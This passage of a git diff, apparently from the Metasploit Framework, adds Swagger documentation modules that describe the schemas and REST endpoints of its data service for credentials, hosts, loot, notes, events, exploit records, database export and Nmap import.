diff --git a/Gemfile b/Gemfile index 6619c1441a..caa113bc48 100755 --- a/Gemfile +++ b/Gemfile @@ -34,6 +34,7 @@ group :development, :test do # environment is development gem 'rspec-rails' gem 'rspec-rerun' + gem 'swagger-blocks' end group :test do diff --git a/Gemfile.lock b/Gemfile.lock index 15c941ef97..9af9092466 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -324,6 +324,7 @@ GEM tilt (>= 1.3, < 3) sqlite3 (1.3.13) sshkey (1.9.0) + swagger-blocks (2.0.2) thin (1.7.2) daemons (~> 1.0, >= 1.0.9) eventmachine (~> 1.0, >= 1.0.4) @@ -358,6 +359,7 @@ DEPENDENCIES rspec-rails rspec-rerun simplecov + swagger-blocks timecop yard diff --git a/LICENSE b/LICENSE index 620584d81b..7cbccd3954 100644 --- a/LICENSE +++ b/LICENSE @@ -115,6 +115,10 @@ Files: data/webcam/api.js Copyright: Copyright 2013 Muaz Khan<@muazkh>. License: MIT +Files: lib/msf/core/db_manager/http/public/*, lib/msf/core/db_manager/http/views/api_docs.erb +Copyright: Copyright 2018 SmartBear Software +License: Apache 2.0 + License: BSD-2-clause Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: diff --git a/documentation/api/v1/credential_api_doc.rb b/documentation/api/v1/credential_api_doc.rb new file mode 100644 index 0000000000..b7353e9926 --- /dev/null +++ b/documentation/api/v1/credential_api_doc.rb @@ -0,0 +1,203 @@ +require 'swagger/blocks' + +# TODO: Complete this documentation when the credential model is fully implemented in the API. +module CredentialApiDoc + include Swagger::Blocks + + ORIGIN_ID_DESC = 'The ID of the origin record associated with this credential.' + ORIGIN_TYPE = 'The class name within Metasploit::Credential that indicates where this credential came from.' + PRIVATE_ID_DESC = 'The ID of the Metasploit::Credential::Private record associated with this credential.' + PUBLIC_ID_DESC = 'The ID of the Metasploit::Credential::Public record associated with this credential.' + REALM_ID_DESC = 'The ID of the Metasploit::Credential::Realm from where the credential was gathered.' + LOGINS_COUNT_DESC = 'The number of successful login attempts that were completed using this credential.' + ORIGIN_TYPE_ENUM = [ + 'Metasploit::Credential::Origin::Import', + 'Metasploit::Credential::Origin::Manual', + 'Metasploit::Credential::Origin::Service', + 'Metasploit::Credential::Origin::Session' + ] + +# Swagger documentation for Credential model + swagger_schema :Credential do + key :required, [:origin_id] + property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC + property :origin_id, type: :integer, format: :int32, description: ORIGIN_ID_DESC + property :origin_type, type: :string, description: ORIGIN_TYPE, enum: ORIGIN_TYPE_ENUM + property :private_id, type: :integer, format: :int32, description: PRIVATE_ID_DESC + property :public_id, type: :integer, format: :int32, description: PUBLIC_ID_DESC + property :realm_id, type: :integer, format: :int32, description: REALM_ID_DESC + property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC + property :logins_count, type: :integer, format: :int32, description: LOGINS_COUNT_DESC + property :logins do + key :type, :array + items do + end + end + property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC + property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC + end + + swagger_path '/api/v1/credentials' do + # Swagger documentation for /api/v1/credentials GET + operation :get do + key :description, 'Return credentials that are stored in the database.' + key :tags, [ 'credential' ] + + parameter :workspace + + parameter do + key :in, :body + key :name, :body + key :required, true + schema do + property :svcs do + key :in, :body + key :description, 'Only return credentials of the specified service.' + key :type, :array + key :required, false + items do + key :type, :string + end + end + + property :ptype do + key :in, :body + key :description, 'The type of credential to return.' + key :type, :string + key :required, false + key :enum, ['password','ntlm','hash'] + end + + property :user do + key :in, :body + key :description, 'Only return credentials where the user matches this regex.' + key :type, :string + key :required, false + end + + property :pass do + key :in, :body + key :description, 'Only return credentials where the password matches this regex.' + key :type, :string + key :required, false + end + end + end + + response 200 do + key :description, 'Returns credential data.' + schema do + key :type, :array + items do + key :'$ref', :Credential + end + end + end + end + + # Swagger documentation for /api/v1/credentials POST + operation :post do + key :description, 'Create a credential.' + key :tags, [ 'credential' ] + + parameter do + key :in, :body + key :name, :body + key :description, 'The attributes to assign to the credential.' + key :required, true + schema do + key :'$ref', :Credential + end + end + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :object + key :'$ref', :Credential + end + end + end + + # This endpoint is NYI. + # + # # Swagger documentation for /api/v1/credentials/ DELETE + # operation :delete do + # key :description, 'Delete the specified credentials.' + # key :tags, [ 'credential' ] + # + # parameter :delete_opts + # + # response 200 do + # key :description, 'Successful operation' + # schema do + # key :type, :array + # items do + # key :'$ref', :Credential + # end + # end + # end + # end + end + + # This endpoint is NYI. + # + # swagger_path '/api/v1/credentials/:id' do + # # Swagger documentation for api/v1/credentials/:id GET + # operation :get do + # key :description, 'Return credentials that are stored in the database.' + # key :tags, [ 'credential' ] + # + # parameter :workspace + # parameter :non_dead + # parameter :address + # + # parameter do + # key :name, :id + # key :in, :path + # key :description, 'ID of credential to retrieve' + # key :required, true + # key :type, :integer + # key :format, :int32 + # end + # + # response 200 do + # key :description, 'Returns credential data' + # schema do + # key :type, :array + # items do + # key :'$ref', :Credential + # end + # end + # end + # end + + # This endpoint is NYI. + # + # Swagger documentation for /api/v1/credentials/:id PUT + # operation :put do + # key :description, 'Update the attributes an existing credential.' + # key :tags, [ 'credential' ] + # + # parameter :update_id + # + # parameter do + # key :in, :body + # key :name, :body + # key :description, 'The updated attributes to overwrite to the credential' + # key :required, true + # schema do + # key :'$ref', :Credential + # end + # end + # + # response 200 do + # key :description, 'Successful operation' + # schema do + # key :type, :object + # key :'$ref', :Credential + # end + # end + # end + #end +end \ No newline at end of file diff --git a/documentation/api/v1/db_export_api_doc.rb b/documentation/api/v1/db_export_api_doc.rb new file mode 100644 index 0000000000..7c1a33c4d1 --- /dev/null +++ b/documentation/api/v1/db_export_api_doc.rb @@ -0,0 +1,38 @@ +require 'swagger/blocks' + +module DbExportApiDoc + include Swagger::Blocks + + swagger_path '/api/v1/db-export' do + # Swagger documentation for /api/v1/db-export GET + operation :get do + key :description, 'Create a backup of the database as a file that can be re-imported to restore data.' + key :tags, [ 'db_export' ] + + parameter :workspace + + parameter do + key :in, :query + key :name, :path + key :required, true + key :description, 'The location to store the export file.' + end + + parameter do + key :in, :query + key :name, :format + key :required, true + key :description, 'The file format to export as. Valid values are \'xml\' and \'pwdump\'' + end + + response 200 do + key :description, 'A JSON object containing the Base64 encoded backup file.' + schema do + property :db_export_file do + key :type, :string + end + end + end + end + end +end diff --git a/documentation/api/v1/event_api_doc.rb b/documentation/api/v1/event_api_doc.rb new file mode 100644 index 0000000000..a67a59d114 --- /dev/null +++ b/documentation/api/v1/event_api_doc.rb @@ -0,0 +1,59 @@ +require 'swagger/blocks' + +module EventApiDoc + include Swagger::Blocks + + NAME_DESC = 'The name of the event.' + NAME_EXAMPLE = 'module_run' + HOST_DESC = 'The address of the host related to this event.' + CRITICAL_DESC = 'true if the event is considered critical.' + SEEN_DESC = 'true if a user has acknowledged the event.' + USERNAME_DESC = 'Name of the user that triggered the event.' + INFO_DESC = 'Information about the event specific to the event name.' + INFO_EXAMPLE = '{:command=>"irb"}' + +# Swagger documentation for Event model + swagger_schema :Event do + key :required, [:name] + property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC + property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC + property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE + property :critical, type: :boolean, description: CRITICAL_DESC + property :seen, type: :string, description: SEEN_DESC + property :username, type: :string, description: USERNAME_DESC + property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE + property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC + property :updated_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC + end + + swagger_path '/api/v1/events' do + # Swagger documentation for /api/v1/events POST + operation :post do + key :description, 'Create an event.' + key :tags, [ 'event' ] + + parameter do + key :in, :body + key :name, :body + key :description, 'The attributes to assign to the event.' + key :required, true + schema do + property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE + property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE + property :host, type: :string, format: :ipv4, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE + property :critical, type: :boolean, description: CRITICAL_DESC + property :username, type: :string, description: USERNAME_DESC + property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE + end + end + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :object + key :'$ref', :Event + end + end + end + end +end \ No newline at end of file diff --git a/documentation/api/v1/exploit_api_doc.rb b/documentation/api/v1/exploit_api_doc.rb new file mode 100644 index 0000000000..36363e3450 --- /dev/null +++ b/documentation/api/v1/exploit_api_doc.rb @@ -0,0 +1,67 @@ +require 'swagger/blocks' + +module ExploitApiDoc + include Swagger::Blocks + + swagger_schema :Exploit do + key :required, [:id, :name] + property :id, type: :integer, format: :int32 + property :created_at, type: :string, format: :date_time + property :updated_at, type: :string, format: :date_time + property :workspace_id, type: :integer, format: :int32 + property :name, type: :string + property :critical, type: :boolean + property :seen, type: :string + property :username, type: :string + property :info do + key :type, :object + property :revision, type: :string + end + end + + swagger_path '/api/v1/exploits' do + # Swagger documentation for /api/v1/exploits POST + operation :post do + key :description, 'Create an exploit entry.' + key :tags, [ 'exploit' ] + + parameter do + key :in, :body + key :name, :body + key :description, 'The attributes to assign to the exploit.' + key :required, true + schema do + property :timestamp, type: :string, format: :date_time + property :module, type: :string + property :workspace, required: true, type: :string + property :port, type: :integer, format: :int32 + property :proto, type: :string, enum: ['tcp','udp'] + property :service, '$ref' => :Service + property :host, '$ref' => :Host + property :vuln, '$ref' => :Vuln + + property :refs do + key :required, true + key :type, :array + items do + key :type, :string + end + end + + property :exploit_report_attempt do + key :type, :string + key :enum, ['attempt', 'failure', 'success'] + end + end + end + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :object + key :'$ref', :Exploit + end + end + end + end +end diff --git a/documentation/api/v1/host_api_doc.rb b/documentation/api/v1/host_api_doc.rb new file mode 100644 index 0000000000..665af483eb --- /dev/null +++ b/documentation/api/v1/host_api_doc.rb @@ -0,0 +1,237 @@ +require 'swagger/blocks' + +module HostApiDoc + include Swagger::Blocks + + HOST_DESC = 'The IP address of the host.' + HOST_EXAMPLE = '127.0.0.1' + MAC_DESC = 'MAC Address of the host' + MAC_EXAMPLE = 'AA:BB:CC:11:22:33' + COMM_DESC = 'Unused attribute.' + NAME_DESC = 'Hostname of the host.' + NAME_EXAMPLE = 'domain_controller' + STATE_DESC = 'The last seen connectivity state of this host.' + OS_NAME_DESC = 'The name of the operating system.' + OS_NAME_EXAMPLE = "'Windows XP', 'Ubuntu', or 'Mac OS X'" + OS_FLAVOR_DESC = 'The flavor of operating system.' + OS_FLAVOR_EXAMPLE = "'Enterprise', 'Pro', or 'Home'" + OS_SP_DESC = 'The service pack version the operating system is running.' + OS_SP_EXAMPLE = "'SP2'" + OS_LANG_DESC = 'The language the operating system is using.' + OS_LANG_EXAMPLE = "'English', 'French', or 'en-US'" + OS_FAMILY_DESC = 'The major family the operating system belongs to.' + OS_FAMILY_EXAMPLE = "'Windows', 'Linux', or 'OS X'" + ARCH_DESC = 'The architecture of the host\'s CPU OR the programming language for virtual machine programming language like Ruby, PHP, and Java.' + DETECTED_ARCH_DESC = 'The architecture of the host\'s CPU as detected by `Recog`. If arch is not \'unknown\', this is undefined.' + PURPOSE_DESC = 'The main function of the host.' + INFO_DESC = 'Customizable information about the host.' + COMMENTS_DESC = 'A place for storing notes or findings about the host.' + SCOPE_DESC = 'Interface identifier for link-local IPv6.' + VIRTUAL_HOST_DESC = 'The name of the virtualization software.' + VIRTUAL_HOST_EXAMPLE = "'VMWare', 'QEMU', 'Xen', or 'Docker'" + NOTE_COUNT_DESC = 'Cached count of the number of associated notes.' + VULN_COUNT_DESC = 'Cached count of the number of associated vulns.' + SERVICE_COUNT_DESC = 'Cached count of the number of associated services.' + HOST_DETAIL_COUNT_DESC = 'Cached count of the number of associated host details.' + EXPLOIT_ATTEMPT_COUNT_DESC = 'Cached count of the number of associated exploit attempts.' + CRED_COUNT_DESC = 'Cached count of the number of associated creds.' + STATE_ENUM = [ 'alive', 'down', 'unknown' ] + ARCH_ENUM = [ + 'armbe', + 'armle', + 'cbea', + 'cbea64', + 'cmd', + 'java', + 'mips', + 'mipsbe', + 'mipsle', + 'php', + 'ppc', + 'ppc64', + 'ruby', + 'sparc', + 'tty', + 'x64', + 'x86', + 'x86_64', + '', + 'Unknown' + ] + +# Swagger documentation for Host model + swagger_schema :Host do + key :required, [:address, :name] + property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC + property :address, type: :string, description: HOST_DESC, example: HOST_EXAMPLE + property :mac, type: :string, description: MAC_DESC, example: MAC_EXAMPLE + property :comm, type: :string, description: COMM_DESC + property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE + property :state, type: :string, description: STATE_DESC, enum: STATE_ENUM + property :os_name, type: :string, description: OS_NAME_DESC, example: OS_NAME_EXAMPLE + property :os_flavor, type: :string, description: OS_FLAVOR_DESC, example: OS_FLAVOR_EXAMPLE + property :os_sp, type: :string, description: OS_SP_DESC, example: OS_SP_EXAMPLE + property :os_lang, type: :string, description: OS_LANG_DESC, example: OS_LANG_EXAMPLE + property :os_family, type: :string, description: OS_FAMILY_DESC, example: OS_FAMILY_EXAMPLE + property :arch, type: :string, description: ARCH_DESC, enum: ARCH_ENUM + property :detected_arch, type: :string, description: DETECTED_ARCH_DESC + property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC + property :purpose, type: :string, description: PURPOSE_DESC + property :info, type: :string, description: INFO_DESC + property :comments, type: :string, description: COMMENTS_DESC + property :scope, type: :string, description: SCOPE_DESC + property :virtual_host, type: :string, description: VIRTUAL_HOST_DESC, example: VIRTUAL_HOST_EXAMPLE + property :note_count, type: :integer, format: :int32, description: NOTE_COUNT_DESC + property :vuln_count, type: :integer, format: :int32, description: VULN_COUNT_DESC + property :service_count, type: :integer, format: :int32, description: SERVICE_COUNT_DESC + property :host_detail_count, type: :integer, format: :int32, description: HOST_DETAIL_COUNT_DESC + property :exploit_attempt_count, type: :integer, format: :int32, description: EXPLOIT_ATTEMPT_COUNT_DESC + property :cred_count, type: :integer, format: :int32, description: CRED_COUNT_DESC + property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC + property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC + end + + swagger_path '/api/v1/hosts' do + # Swagger documentation for /api/v1/hosts GET + operation :get do + key :description, 'Return hosts that are stored in the database.' + key :tags, [ 'host' ] + + parameter :workspace + parameter :non_dead + parameter :address + + response 200 do + key :description, 'Returns host data.' + schema do + key :type, :array + items do + key :'$ref', :Host + end + end + end + end + + # Swagger documentation for /api/v1/hosts POST + operation :post do + key :description, 'Create a host.' + key :tags, [ 'host' ] + + parameter do + key :in, :body + key :name, :body + key :description, 'The attributes to assign to the host.' + key :required, true + schema do + property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_EXAMPLE + property :host, type: :string, format: :ipv4, required: true, description: HOST_DESC, example: HOST_EXAMPLE + property :mac, type: :string, description: MAC_DESC, example: MAC_EXAMPLE + property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE + property :os_name, type: :string, description: OS_NAME_DESC, example: OS_NAME_EXAMPLE + property :os_flavor, type: :string, description: OS_FLAVOR_DESC, example: OS_FLAVOR_EXAMPLE + property :os_sp, type: :string, description: OS_SP_DESC, example: OS_SP_EXAMPLE + property :os_lang, type: :string, description: OS_LANG_DESC, example: OS_LANG_EXAMPLE + property :purpose, type: :string, description: PURPOSE_DESC + property :info, type: :string, description: INFO_DESC + property :comments, type: :string, description: COMMENTS_DESC + property :scope, type: :string, description: SCOPE_DESC + property :virtual_host, type: :string, description: VIRTUAL_HOST_DESC, example: VIRTUAL_HOST_EXAMPLE + # Possible values paired down from rex-arch/lib/rex/arch.rb + property :arch do + key :type, :string + key :description, ARCH_DESC + key :enum, ARCH_ENUM + end + property :state do + key :type, :string + key :description, STATE_DESC + key :enum, STATE_ENUM + end + end + end + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :object + key :'$ref', :Host + end + end + end + + # Swagger documentation for /api/v1/hosts/ DELETE + operation :delete do + key :description, 'Delete the specified hosts.' + key :tags, [ 'host' ] + + parameter :delete_opts + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :array + items do + key :'$ref', :Host + end + end + end + end + end + + swagger_path '/api/v1/hosts/{id}' do + # Swagger documentation for api/v1/hosts/:id GET + operation :get do + key :description, 'Return specific host that is stored in the database.' + key :tags, [ 'host' ] + + parameter :workspace + parameter :non_dead + parameter :address + + parameter do + key :name, :id + key :in, :path + key :description, 'ID of host to retrieve.' + key :required, true + key :type, :integer + key :format, :int32 + end + + response 200 do + key :description, 'Returns host data.' + schema do + key :type, :array + items do + key :'$ref', :Host + end + end + end + end + + # Swagger documentation for /api/v1/hosts/:id PUT + operation :put do + key :description, 'Update the attributes an existing host.' + key :tags, [ 'host' ] + + parameter :update_id + + parameter do + key :in, :body + key :name, :body + key :description, 'The updated attributes to overwrite to the host' + key :required, true + schema do + key :'$ref', :Host + end + end + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :object + key :'$ref', :Host + end + end + end + end +end \ No newline at end of file diff --git a/documentation/api/v1/loot_api_doc.rb b/documentation/api/v1/loot_api_doc.rb new file mode 100644 index 0000000000..b0795a5680 --- /dev/null +++ b/documentation/api/v1/loot_api_doc.rb @@ -0,0 +1,167 @@ +require 'swagger/blocks' + +module LootApiDoc + include Swagger::Blocks + + HOST_ID_DESC = 'The ID of the host record this loot is associated with.' + HOST_DESC = 'The IP address of the host from where the loot was obtained.' + SERVICE_ID_DESC = 'The ID of the service record this loot is associated with.' + LTYPE_DESC = 'The type of loot.' + LTYPE_EXAMPLE = "'file', 'image', 'config_file', etc." + PATH_DESC = 'The on-disk path to the loot file.' + PATH_EXAMPLE = '/path/to/file.txt' + DATA_DESC = 'The contents of the file.' + CONTENT_TYPE_DESC = 'The mime/content type of the file at {#path}. Used to server the file correctly so browsers understand whether to render or download the file.' + CONTENT_TYPE_EXAMPLE = 'text/plain' + NAME_DESC = 'The name of the loot.' + NAME_EXAMPLE = 'password_file.txt' + INFO_DESC = 'Information about the loot.' + MODULE_RUN_ID_DESC = 'The ID of the module run record this loot is associated with.' + + +# Swagger documentation for loot model + swagger_schema :Loot do + key :required, [:name, :ltype, :path] + property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC + property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC + property :host_id, type: :integer, format: :int32, description: HOST_ID_DESC + property :service_id, type: :integer, format: :int32, description: SERVICE_ID_DESC + property :ltype, type: :string, description: LTYPE_DESC, example: LTYPE_EXAMPLE + property :path, type: :string, description: PATH_DESC, example: PATH_EXAMPLE + property :data, type: :string, description: DATA_DESC + property :content_type, type: :string, description: CONTENT_TYPE_DESC, example: CONTENT_TYPE_EXAMPLE + property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE + property :info, type: :string, description: INFO_DESC + property :module_run_id, type: :integer, format: :int32, description: MODULE_RUN_ID_DESC + property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC + property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC + end + + swagger_path '/api/v1/loots' do + # Swagger documentation for /api/v1/loots GET + operation :get do + key :description, 'Return loot entries that are stored in the database.' + key :tags, [ 'loot' ] + + parameter :workspace + + response 200 do + key :description, 'Returns loot data.' + schema do + key :type, :array + items do + key :'$ref', :Loot + end + end + end + end + + # Swagger documentation for /api/v1/loots POST + operation :post do + key :description, 'Create a loot entry.' + key :tags, [ 'loot' ] + + parameter do + key :in, :body + key :name, :body + key :description, 'The attributes to assign to the loot.' + key :required, true + schema do + property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE + property :host, type: :string, format: :ipv4, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE + property :service, '$ref': :Service + property :ltype, type: :string, description: LTYPE_DESC, example: LTYPE_EXAMPLE, required: true + property :path, type: :string, description: PATH_DESC, example: PATH_EXAMPLE, required: true + property :data, type: :string, description: DATA_DESC + property :ctype, type: :string, description: CONTENT_TYPE_DESC, example: CONTENT_TYPE_EXAMPLE + property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE, required: true + property :info, type: :string, description: INFO_DESC + end + end + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :object + key :'$ref', :Loot + end + end + end + + # Swagger documentation for /api/v1/loot/ DELETE + operation :delete do + key :description, 'Delete the specified loot.' + key :tags, [ 'loot' ] + + parameter :delete_opts + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :array + items do + key :'$ref', :Loot + end + end + end + end + end + + swagger_path '/api/v1/loot/{id}' do + # Swagger documentation for api/v1/loot/:id GET + + # TODO: Add this back in when this endpoint is implemented, tracked in MS-3233. + # + # operation :get do + # key :description, 'Return specific loot entry that is stored in the database.' + # key :tags, [ 'loot' ] + # + # parameter :workspace + # + # parameter do + # key :name, :id + # key :in, :path + # key :description, 'ID of loot to retrieve.' + # key :required, true + # key :type, :integer + # key :format, :int32 + # end + # + # response 200 do + # key :description, 'Returns loot data.' + # schema do + # key :type, :array + # items do + # key :'$ref', :Loot + # end + # end + # end + # end + + # Swagger documentation for /api/v1/loot/{id} PUT + operation :put do + key :description, 'Update the attributes an existing loot.' + key :tags, [ 'loot' ] + + parameter :update_id + + parameter do + key :in, :body + key :name, :body + key :description, 'The updated attributes to overwrite to the loot.' + key :required, true + schema do + key :'$ref', :Loot + end + end + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :object + key :'$ref', :Loot + end + end + end + end +end \ No newline at end of file diff --git a/documentation/api/v1/msf_api_doc.rb b/documentation/api/v1/msf_api_doc.rb new file mode 100644 index 0000000000..49f2dc5ef9 --- /dev/null +++ b/documentation/api/v1/msf_api_doc.rb @@ -0,0 +1,20 @@ +require 'swagger/blocks' + +module MsfApiDoc + include Swagger::Blocks + + swagger_path '/api/v1/msf/version' do + # Swagger documentation for /api/v1/msf/version GET + operation :get do + key :description, 'Return the current version of the running Metasploit Framework.' + key :tags, [ 'msf' ] + + response 200 do + key :description, 'Returns the Metasploit Framework version.' + schema do + property :metasploit_version, type: :string + end + end + end + end +end diff --git a/documentation/api/v1/nmap_api_doc.rb b/documentation/api/v1/nmap_api_doc.rb new file mode 100644 index 0000000000..6fdc48d0bf --- /dev/null +++ b/documentation/api/v1/nmap_api_doc.rb @@ -0,0 +1,33 @@ +require 'swagger/blocks' + +module NmapApiDoc + include Swagger::Blocks + + swagger_path '/api/v1/nmaps' do + # Swagger documentation for /api/v1/nmaps POST + operation :post do + key :description, 'Upload an Nmap XML file to be processed into corresponding Metasploit data objects.' + key :tags, [ 'nmap' ] + + parameter do + key :in, :body + key :name, :body + key :required, true + schema do + property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_EXAMPLE + property :filename, type: :string, required: true, description: 'The name of the file you are uploading.' + property :data, type: :string, required: true, description: 'The Base64 encoded contents of the Nmap XML file.' + end + end + + response 200 do + key :description, 'A JSON object containing the Base64 encoded backup file.' + schema do + property :db_export_file do + key :type, :string + end + end + end + end + end +end diff --git a/documentation/api/v1/note_api_doc.rb b/documentation/api/v1/note_api_doc.rb new file mode 100644 index 0000000000..a401c75b4d --- /dev/null +++ b/documentation/api/v1/note_api_doc.rb @@ -0,0 +1,153 @@ +require 'swagger/blocks' + +module NoteApiDoc + include Swagger::Blocks + + NTYPE_DESC = 'The type of note this is.' + NTYPE_EXAMPLE = "'host.info', 'host.os.session_fingerprint', 'smb_peer_os', etc." + HOST_ID_DESC = 'The ID of the host record this note is associated with.' + HOST_DESC = 'The IP address of the host this note is associated with.' + SERVICE_ID_DESC = 'The ID of the host record this service is associated with.' + VULN_ID_DESC = 'The ID of the host record this note is associated with.' + CRITICAL_DESC = 'Boolean regarding the criticality of this note\'s contents.' + SEEN_DESC = 'Boolean regarding if this note has been acknowledged.' + DATA_DESC = 'The contents of the note.' + +# Swagger documentation for notes model + swagger_schema :Note do + key :required, [:ntype] + property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC + property :ntype, type: :string, description: NTYPE_DESC, example: NTYPE_EXAMPLE + property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC + property :host_id, type: :integer, format: :int32, description: HOST_ID_DESC + property :service_id, type: :integer, format: :int32, description: SERVICE_ID_DESC + property :vuln_id, type: :integer, format: :int32, description: VULN_ID_DESC + property :critical, type: :boolean, description: CRITICAL_DESC + property :seen, type: :boolean, description: SEEN_DESC + property :data, type: :string, description: DATA_DESC + property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC + property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC + end + + swagger_path '/api/v1/notes' do + # Swagger documentation for /api/v1/notes GET + operation :get do + key :description, 'Return notes that are stored in the database.' + key :tags, [ 'note' ] + + parameter :workspace + + response 200 do + key :description, 'Returns note data.' + schema do + key :type, :array + items do + key :'$ref', :Note + end + end + end + end + + # Swagger documentation for /api/v1/notes POST + operation :post do + key :description, 'Create a note entry.' + key :tags, [ 'note' ] + + parameter do + key :in, :body + key :name, :body + key :description, 'The attributes to assign to the note.' + key :required, true + schema do + property :ntype, type: :string, description: NTYPE_DESC, example: NTYPE_EXAMPLE, required: true + property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE + property :host, type: :integer, format: :ipv4, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE + property :critical, type: :boolean, description: CRITICAL_DESC + property :seen, type: :boolean, description: SEEN_DESC + property :data, type: :string, description: DATA_DESC + end + end + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :object + key :'$ref', :Note + end + end + end + + # Swagger documentation for /api/v1/notes/ DELETE + operation :delete do + key :description, 'Delete the specified notes.' + key :tags, [ 'note' ] + + parameter :delete_opts + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :array + items do + key :'$ref', :Note + end + end + end + end + end + + swagger_path '/api/v1/notes/{id}' do + # Swagger documentation for api/v1/notes/:id GET + operation :get do + key :description, 'Return specific note that is stored in the database.' + key :tags, [ 'note' ] + + parameter :workspace + + parameter do + key :name, :id + key :in, :path + key :description, 'ID of note to retrieve.' + key :required, true + key :type, :integer + key :format, :int32 + end + + response 200 do + key :description, 'Returns notes data.' + schema do + key :type, :array + items do + key :'$ref', :Note + end + end + end + end + + # Swagger documentation for /api/v1/notes/:id PUT + operation :put do + key :description, 'Update the attributes an existing note.' + key :tags, [ 'note' ] + + parameter :update_id + + parameter do + key :in, :body + key :name, :body + key :description, 'The updated attributes to overwrite to the note.' + key :required, true + schema do + key :'$ref', :Note + end + end + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :object + key :'$ref', :Note + end + end + end + end +end \ No newline at end of file diff --git a/documentation/api/v1/root_api_doc.rb b/documentation/api/v1/root_api_doc.rb new file mode 100644 index 0000000000..c11f59f263 --- /dev/null +++ b/documentation/api/v1/root_api_doc.rb @@ -0,0 +1,108 @@ +require 'swagger/blocks' + +module RootApiDoc + include Swagger::Blocks + + ID_DESC = 'The primary key used to identify this object in the database.' + CREATED_AT_DESC = 'The date and time this record was added to the database.' + UPDATED_AT_DESC = 'The date and time this record was last updated in the database.' + WORKSPACE_ID_DESC = 'The ID of the workspace this credential belongs to.' + WORKSPACE_POST_DESC = 'The name of the workspace where this record should be created.' + WORKSPACE_POST_EXAMPLE = 'default' + HOST_EXAMPLE = '127.0.0.1' + + swagger_root do + key :swagger, '2.0' + info do + key :version, '1.0.0' + key :title, 'Metasploit API' + key :description, 'An API for interacting with Metasploit\'s data models.' + license do + key :name, 'BSD-3-clause' + end + end + + key :consumes, ['application/json'] + key :produces, ['application/json'] + + ################################# + # + # Documentation Tags + # + ################################# + tag name: 'credential', description: 'Credential operations.' + tag name: 'db_export', description: 'Endpoint for generating and retrieving a database backup.' + tag name: 'event', description: 'Event operations.' + tag name: 'exploit', description: 'Exploit operations.' + tag name: 'host', description: 'Host operations.' + tag name: 'loot', description: 'Loot operations.' + tag name: 'msf', description: 'Utility operations around Metasploit Framework.' + tag name: 'nmap', description: 'Nmap operations.' + tag name: 'note', description: 'Note operations.' + tag name: 'service', description: 'Service operations.' + tag name: 'session', description: 'Session operations.' + tag name: 'session_event', description: 'Session Event operations.' + tag name: 'vuln', description: 'Vuln operations.' + tag name: 'vuln_attempt', description: 'Vuln Attempt operations.' + tag name: 'workspace', description: 'Workspace operations.' + + ################################# + # + # Global parameters + # + ################################# + parameter :workspace do + key :name, :workspace + key :in, :query + key :description, 'The workspace from which the data should be gathered from.' + key :required, true + key :type, :string + end + + parameter :update_id do + key :name, :id + key :in, :path + key :description, 'ID of the object to update' + key :required, true + key :type, :integer + key :format, :int32 + end + + parameter :delete_opts do + key :in, :body + key :name, :delete_opts + key :description, 'The IDs of the objects you want to delete.' + key :required, true + schema do + key :required, [:ids] + property :ids do + key :type, :array + items do + key :type, :integer + end + end + end + end + + ################################# + # + # Host related parameters + # + ################################# + parameter :non_dead do + key :name, :non_dead + key :in, :query + key :description, 'true to return only hosts which are up, false for all hosts.' + key :required, false + key :type, :boolean + end + + parameter :address do + key :name, :address + key :in, :query + key 